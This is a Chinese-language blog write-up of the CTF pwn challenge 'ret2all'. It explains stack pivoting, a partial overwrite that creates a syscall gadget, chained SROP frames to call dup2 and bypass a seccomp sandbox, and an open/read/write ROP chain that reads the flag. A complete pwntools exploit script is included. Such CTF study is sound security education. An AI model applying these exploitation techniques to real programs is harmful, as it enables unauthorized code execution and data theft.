ret2all详细分析与总结

heart22 Lv1

最近高本版only_read的题目很多,不管是有输出还是无输出,各种形式下。ret2all都能中的各种方法都能起到作用,因此复现一下这个手法。感谢YX-hueimie师傅出的那么棒的题目,在复现中温故而知新了许多知识了。


这里就是给了rread函数的返回地址和保存的旧的rbp的值,后面mprotect限制不能修改这个rbp的值。开启沙箱。关闭标准错误。

沙箱的话

read和write的分支全禁,留下本体,read的第一个参数不能大于等于1,write的第一个参数只能等于2,但是后面又close(2),需要dup2(1, 2)更改fd才能再调用write


vuln中的read存在栈溢出可以溢出0x28


shadow函数限制了前0x60字节为LOVE中的内容,不能修改旧的rbp的值和ret的值
所有真正溢出的只有0x18

1
2
3
4
5
6
7
8
payload1 = flat(
b'I love you I feel lonely'*4,
RBP,
RET,
RBP + 0x10,
read_addr,
RBP - 0x10
)


溢出可以修改vuln中的旧的rbp的值


vuln执行完leave_ret后返回main中还是执行leave_ret,这里联系的leave_ret可以造成栈迁移,因此我们刚刚的溢出,将vuln的rbp的值改成0x7fffb01c6e70,栈迁移后rip旧变成了0x7fffb01c6e70 + 8 即为read_addr,rbp中为0x7fffb01c6e90

控制了rbp就是控制了read的rsi,可以控制read读的地址

构造好read,第二段读入

1
2
3
4
5
6
7
8
9
10
11
12
payload2 = flat(
p64(0)*7,
RBP+0xf0,
read_addr,
leave_ret,
RBP+0x100,
leave_ret,
RBP-0x18,
leave_ret,
0,
p8(0xec)
)

这里涉及到几个点,首先是覆盖read的返回地址,达成栈返回。在调用read的时候会将返回地址压栈,我们可以修改这个返回地址达到劫持程序流但是可以不用经过shadow检测。

然后就是这里的0x7ffd1ac556b8这里的mov edi, eax是libc中的地址,是栈中常见的libc地址,距离这里附近有一个syscall,我们利用溢出将这个地址最后两位改成ec后变成syscall后方便后面srop的利用

后续的栈风水为什么这样,画个图来表示吧,执行完read之后


(图中有误,应该是rbp+0x100,RBP+0xf0-0x60)

1
2
3
4
5
6
7
payload3 = flat(
b'I love you I feel lonely'*4,
RBP,
RET,
RBP+0xf0,
read
)

这段栈风水,准备读入srop的参数,但是有检测,所以我们先读一段正常的修改read的返回地址,栈返回来绕过shadow

1
2
3
4
5
6
7
8
9
10
11
payload4 = flat(
b'A'*8,
p64(0),RBP+0x30,
RBP+0x65,0x6edca,
0x200,0,
0,RBP+0x40,
read_addr2,0,
0x33,RBP+0x150+1,
read_addr,RBP+0x20,
leave_ret
)

这里0x60读入的数据是srop参数,0x60后面的数据可以rop,修改read的返回地址为leave_ret到去执行read,这样可以绕过检测

这里读入参数从第二行开始是从rdi开始对应signal frame中得rdi至err,其中
uc_flags字段需要设置为0
cs/gs/fs字段一般设置为0x33
&fpstate字段需要设置为0。或者一个可读地址


(借用hueimie师傅的图)

1
2
3
4
payload5 = flat(
b'A'*7,
pop_rbp_ret
)

读入15字节,在没有gadgets可以依靠这个来控制rax寄存器,用于后面栈迁移到syscall处系统调用sigreturn,执行pop_rbp_ret可以用于抬栈,执行leave_ret

leave_ret指向完毕后会执行rt_sigreturn


这次srop没有进行相关的系统调用,更多的是设置好参数为了系统调用做准备。
rip = read_addr2这里执行完后会直接call read,执行read(0,RBP+0x30,0x200)
rbp = RBP + 0x65
rsp = RBP + 0x40

1
2
3
4
5
6
7
8
9
10
11
12
13
payload6 = flat(
leave_ret,add_rbp_3d_ebx,
pop_rbp_ret,RBP+0xa8+1,
read_addr,RBP+0x20,
leave_ret,RBP+0xd0,
read_addr,p64(0)*4,
1,2,
RBP+0x68,0,
0,33,
0,RBP+0x28,
ret,0,
0x33
)

接下来重新读入srop参数
由于我们将rsp设置为RBP+0x40,call read会将read的返回地址压栈,保存在RBP+0x38

因此我们读入的add_rbp_3d_ebx就是返回地址,直接开始rop
因为刚刚srop,rbp = RBP + 0x65,rbx = 0x6edca这个偏移
执行完add_rbp_3d_ebx后就变成新的syscall_ret了

之后就是执行read,读入的地方在RBP+0x49

1
2
3
4
payload7 = flat(
b'A'*7,
pop_rbp_ret
)

再次栈迁移调用执行rt_sigreturn,设置好寄存器
rbp = RBP+0x68
rsp = RBP+0x28
rip = ret
syscall后ret,pop_rip会再次调用syscall_ret,从而完成dup(1,2)的系统调用,ret到leave,迁移到下面的read再次读入

执行的read(0,0xd0-0x60,0x88)
执行完read时,会将返回地址压栈压到RBP+0x70

所以read完之后直接执行rop

随后也是读入15字节,来执行syscall

1
2
3
4
payload9 = flat(
b'A'*7,
pop_rbp_ret
)

和上次调用dup(1.2)原理一致

这里调用write(2,RBP+0x28,0x200)
设置
rip = ret
rsp = RBP+0x28
rbp = RBP + 0xe8
因为rbp = RBP + 0xe8,执行完syscall后将会leave_ret迁移到read_addr3
执行read(0,RBP+0x28,0x200)
这也是为什么要设置0x200的原因,为了这里方便转read

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = flat(
b'a'*0xc0,b'./flag\x00\x00',
pop_rax_ret,3,
pop_rdi_ret,0,syscall,
pop_rax_ret,2,
pop_rdi_ret,RBP+0xe8,
pop_rsi_ret,0,syscall,
pop_rax_ret,0,
pop_rdi_ret,0,
pop_rsi_ret,RBP,syscall,
pop_rax_ret,1,
pop_rdi_ret,2,syscall
)

这里read的返回地址为RBP+0xf0,后面在跟上orw的rop

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/env python3
from pwncli import *
#cli_script()

io = process('./pwn_patched')
elf = ELF('./pwn_patched')
libc = ELF('./libc.so.6')
#p =remote('node4.anna.nssctf.cn',28537)
#context.terminal = ['wt.exe', 'wsl', 'bash', '-c']
context.terminal = ['tmux', 'splitw', '-h']
context(log_level = 'debug',arch = elf.arch,os = elf.os)

def dbg(i):
gdb.attach(i)
pause()

# dbg(io)
io.recvuntil("0x")
RBP = int(io.recvline(),16)
success("RBP:"+hex(RBP))

io.recvuntil("0x")
RET = int(io.recvline(),16)
success("RET:"+hex(RET))

elf_base = RET - 0x1871
success("elf_base:"+hex(elf_base))

read_addr = elf_base + 0x182F
read_addr2 = elf_base + 0x1840
read_addr3 = elf_base + 0x183B
add_rbp_3d_ebx = elf_base + 0x1252
pop_rbp_ret = add_rbp_3d_ebx +1
ret = pop_rbp_ret + 1
leave_ret = elf_base + 0x1852

payload1 = flat(
b'I love you I feel lonely'*4,
RBP,
RET,
RBP + 0x10,
read_addr,
RBP - 0x10
)

# dbg(io)
io.send(payload1)

payload2 = flat(
p64(0)*7,
RBP+0xf0,
read_addr,
leave_ret,
RBP+0x100,
leave_ret,
RBP-0x18,
leave_ret,
0,
p8(0xec)
)
# dbg(io)
io.send(payload2)
payload3 = flat(
b'I love you I feel lonely'*4,
RBP,
RET,
RBP+0xf0,
read_addr
)
# dbg(io)
io.send(payload3)

payload4 = flat(
b'A'*8,
p64(0),RBP+0x30,
RBP+0x65,0x6edca,
0x200,0,
0,RBP+0x40,
read_addr2,0,
0x33,RBP+0x150+1,
read_addr,RBP+0x20,
leave_ret
)
# dbg(io)
io.send(payload4)

payload5 = flat(
b'A'*7,
pop_rbp_ret
)

# dbg(io)
io.send(payload5)

payload6 = flat(
leave_ret,add_rbp_3d_ebx,
pop_rbp_ret,RBP+0xa8+1,
read_addr,RBP+0x20,
leave_ret,RBP+0xd0,
read_addr,p64(0)*4,
1,2,
RBP+0x68,0,
0,33,
0,RBP+0x28,
ret,0,
0x33
)
# dbg(io)
io.send(payload6)
payload7 = flat(
b'A'*7,
pop_rbp_ret
)
# dbg(io)
io.send(payload7)

payload8 = flat(
pop_rbp_ret,RBP+0xd8+1,
read_addr,RBP+0x20,
leave_ret,2,
RBP+0x28,RBP+0xe8,
0,0x200,
1,0,
RBP+0x28,ret,
0,0x33,
read_addr3
)
# dbg(io)
io.send(payload8)

payload9 = flat(
b'A'*7,
pop_rbp_ret
)
io.recv()
# dbg(io)
io.send(payload9)

syscall = u64(io.recv(6).ljust(8,b'\x00'))
libc.address = syscall - 0x98fb6
success("libc_address:"+hex(libc.address))

pop_rax_ret = libc.address + 0xdd237
pop_rdi_ret = libc.address + 0x10f75b
pop_rsi_ret = libc.address + 0x110a4d
pop_rbx_ret = libc.address + 0x586e4

payload10 = flat(
b'a'*0xc0,b'./flag\x00\x00',
#close(0)
pop_rax_ret,3,
pop_rdi_ret,0,syscall,
#open('./flag',0)
pop_rax_ret,2,
pop_rdi_ret,RBP+0xe8,
pop_rsi_ret,0,syscall,
#read(0,RBP,0x200)
pop_rax_ret,0,
pop_rdi_ret,0,
pop_rsi_ret,RBP,syscall,
#write(2,RBP,0x200)
pop_rax_ret,1,
pop_rdi_ret,2,syscall
)

io.send(payload10)
io.interactive()

参考:‌​‌‬​​‬​‌‌​​​‬⁠​​‍​‍​‬​​​​‬​​​​​​​​​‌​​‬​‍‬​‬⁠ret2all - 飞书云文档
LilCTF pwn ret2all-CSDN博客

  • 标题: ret2all详细分析与总结
  • 作者: heart22
  • 创建于 : 2025-11-03 14:29:56
  • 更新于 : 2025-11-03 14:31:28
  • 链接: https://heart22.top/2025/11/03/ret2all详细分析与总结/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
ret2all详细分析与总结